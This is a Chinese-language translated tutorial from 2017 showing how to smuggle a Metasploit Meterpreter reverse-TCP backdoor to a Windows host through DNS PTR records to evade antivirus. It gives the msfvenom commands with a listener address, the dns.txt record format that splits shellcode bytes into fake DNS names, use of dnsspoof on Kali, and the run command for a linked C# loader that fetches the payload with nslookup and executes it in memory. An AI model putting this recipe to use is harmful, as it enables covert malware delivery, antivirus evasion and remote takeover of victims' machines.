本文讲的是
通过DNS通信绕过杀毒软件进行木马传输,
在这种技术中,我想通过DNS协议将我的后门木马从攻击者计算机种植在客户端计算机上面,因此在这种情况下,我们需要一个没有硬编码的木马或加密有效的后门代码。因为通过DNS传输,所以被杀毒软件发现的几率特别小。
为什么通过DNS传输不容易被发现呢?
因为在大部分的网络环境中,DNS通信内容不需要被硬件防火墙或者IPS/IDS等防火墙进行监控。我知道您可以使用像Snort IPS/IDS这样的设备检查DNS通信内容,不过在DNS中通过签名来防御新的木马是非常困难的,除非网络管理员亲自查看。
在这篇文章中,我想给你展示一下在网络环境中如何通过DNS请求或者响应来隐藏你的后门木马。
这种攻击的突破点在哪?
当你想使用后门木马,你往往需要通过一些协议(HTTP,DNS等等)将后门从你的主机传输到目标主机。在这种攻击方法中,我们想通过DNS通信对木马进行传输,并且在目标内存执行木马。所以攻击的突破点是:我们传输木马所在的位置,以及杀毒软件是如何进行检测的。所以,我们不会把木马放到文件系统中,而是在网络通信以及内存中,所以杀毒软件不会查杀。
不幸的是,网络流量监控以及内存监控在防御恶意代码这一方面并不能很好的进行,或者说不是每时每刻都在工作,也可能不具有IPS/IDS功能。举个例子:DNS区域中带有PTR记录以及A记录的后门。
你可以看到在图片的前两行是PTR记录的meterpreter的后门代码。接下来两行PTR记录以及下一行的A记录是为后门代码重连设置时间。
如果您想绕过基于防火墙或IPS/IDS的网络DNS流量的木马检测,一个好的方法是将你的木马代码分解为具有相同类型(如PTR或其他类型)的DNS记录;另一种方法可以对你的木马进行加密,然后使用这些协议。当然选择哪一种方法取决于网络环境以及你的一些习惯。
你可以看到,在上图中,我将第一行的meterpreter代码拆分成了5个记录,因此这些记录存在的payload等于在1.1.1.0中的payload。如:
1.0.1.0 + 1.0.1.1 + 1.0.1.2 + 1.0.1.3 + 1.0.1.4 = 1.1.1.0
这就意味着对1.0.1.x你有5次DNS请求,然后五条DNS响应等同于请求一次1.1.1.0的响应。在客户端,你可以通过很多的工具从伪造的DNS服务器获取这些信息,但是我想使用NSLOOKUP命令通过后门获取,因为我觉得这很简单。如下图,我正在尝试使用nslookup从伪造的DNS服务器传输恶意代码到服务端。
最后我使用NativePayload_DNS.exe执行这些payload,并且通过DNS通信获得了meterpreter的session。
0x01 伪造DNS服务器
在这个步骤中,你可以使用msfvenom生成meterpreter后门代码,然后将这些后门代码逐行复制到dns.txt中,然后在kali中通过DNSSpoof使用dns.txt伪造DNS服务器。
在我传输之前,我先说明一下通过msfvenom产生的exe可执行文件可以被绝大部分杀毒软件查杀。为什么我要先生成exe实验一下呢?
因为我想说明一下这种攻击方式不容易被杀毒软件发现。使用相同的payload一个产生exe一个通过DNS传输,你可以发现exe基本被杀毒软件所查杀,而通过DNS传输杀毒软件则发现不了。第一种方法,生成exe文件:
msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f exe > /root/Desktop/payload.exe
在下图,你可以看到,我生成的木马被11个杀毒软件所查杀。
对于第二种方法,你应该选择的文件类型是:c。第二种方法,通过DNS传输:
msfvenom --platform windows --arch x86_64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.50 -f c > /root/Desktop/payload.txt
将payload.txt中的文件一行一行的复制到dns.txt中。下面介绍如何进行复制:
这一步对攻击来说非常重要。因为我们想通过DNS将这个文件进行传输。所以你的格式应该与下面代码形式相同:
Ipaddress “{payload}.domain.com”
1.1.1.0 “0xfc0x480x830xe40xf00xe8.1.com”
1.1.1.1 “0xbc0xc80x130xff0x100x08.1.com”
在这个案例中,因为我在我C#后门中设置的域名格式为“1.com”,所以我们应该在传输过程中使用这个域名或者一些其他的域名比如:"2.com","3.net","t.com",或者使用一个字符+".com"作为域名。"1.1.1.x"中的x是从0到dns.txt里面的行数的递增数,最后产生如下图:
1.1.1.0 --> payload.txt的第0行 --> “{payload0}.1.com”
1.1.1.1 --> payload.txt的第1行 --> “{payload1}.1.com”
1.1.1.2 --> payload.txt的第2行 --> “{payload2}.1.com”
接下来就是产生dns.txt,如下图:
现在,你可以在linux中使用dnsspoof工具进行DNS欺骗:如下:
在第二个步骤中,我们需要一个后门对我们进行DNS传输的木马进行下载。所以我使用C#实现了这个功能,并且在我的代码中我使用nslookup.exe发送DNS请求,最后在DNS通信中得到我们传输的木马。
c#工具源码:https://github.com/DamonMohammadbagher/NativePayload_DNS
0x02 传输木马并攻击
编译完成上面的程序之后你会得到一个exe可执行文件,你可以在命令行中加上如下的参数使用它:
NativePayload_DNS.exe “Start_IpAddress” Counter “FakeDNSServer_IpAddress”
Example: C:> NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
1. Start_Ipaddress(开始Ip地址):你的PTR记录的前三位,所以这个案例中使用的是”1.1.1”
2. Counter(数量):DNS中的PTR记录的数量。这个案例中,在DNS.txt中ip是从1.1.1.0到1.1.1.33所以这个数字是34。.
3. FakeDNSServer_IpAddress(伪造的dns服务器地址):dns服务器的地址,或者攻击者伪造的dns服务器地址。所以现在我们使用192.168.1.50(kali)
在我们执行这个后门之前,在kali(192.168.1.50)中应该启动Msf的监听。
通过命令
NativePayload_DNS.exe 1.1.1. 34 192.168.1.50
现在执行后门程序,如下图:
你可以发现后门程序正在对1.1.1.x发送DNS请求,并且得到了PTR或者FQDN响应。
下图你可以看到伪造DNS服务端与客户端之间进行的通信。
经过34次的请求,攻击方已经获得了meterpreter的session,并且杀毒软件并没有察觉。
你可以看到我又一次成功的绕过了杀毒软件,下图是我对我的源代码进行的扫描,没有一个杀毒软件报毒。所以你可以对比一下对生成exe进行扫描的结果。
在下图中,你可以看到C#源码是如何与nslookup进行工作的。
最后,你可以看到我的meterpreter在tcpview工具以及putty工具呈现。
显然:你不能总是相信你的杀毒软件可以防御各种攻击比如将木马转移到各种网络协议当中,你的网络还有客户端都是很容易被攻击的。所以,不妨在你的环境中尝试一下这种方法,通过分享你的经历。(也许有些地方我出了问题,或者解释不对,所以欢迎指出)
原文发布时间为:2017年3月31日
本文作者:xnianq
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。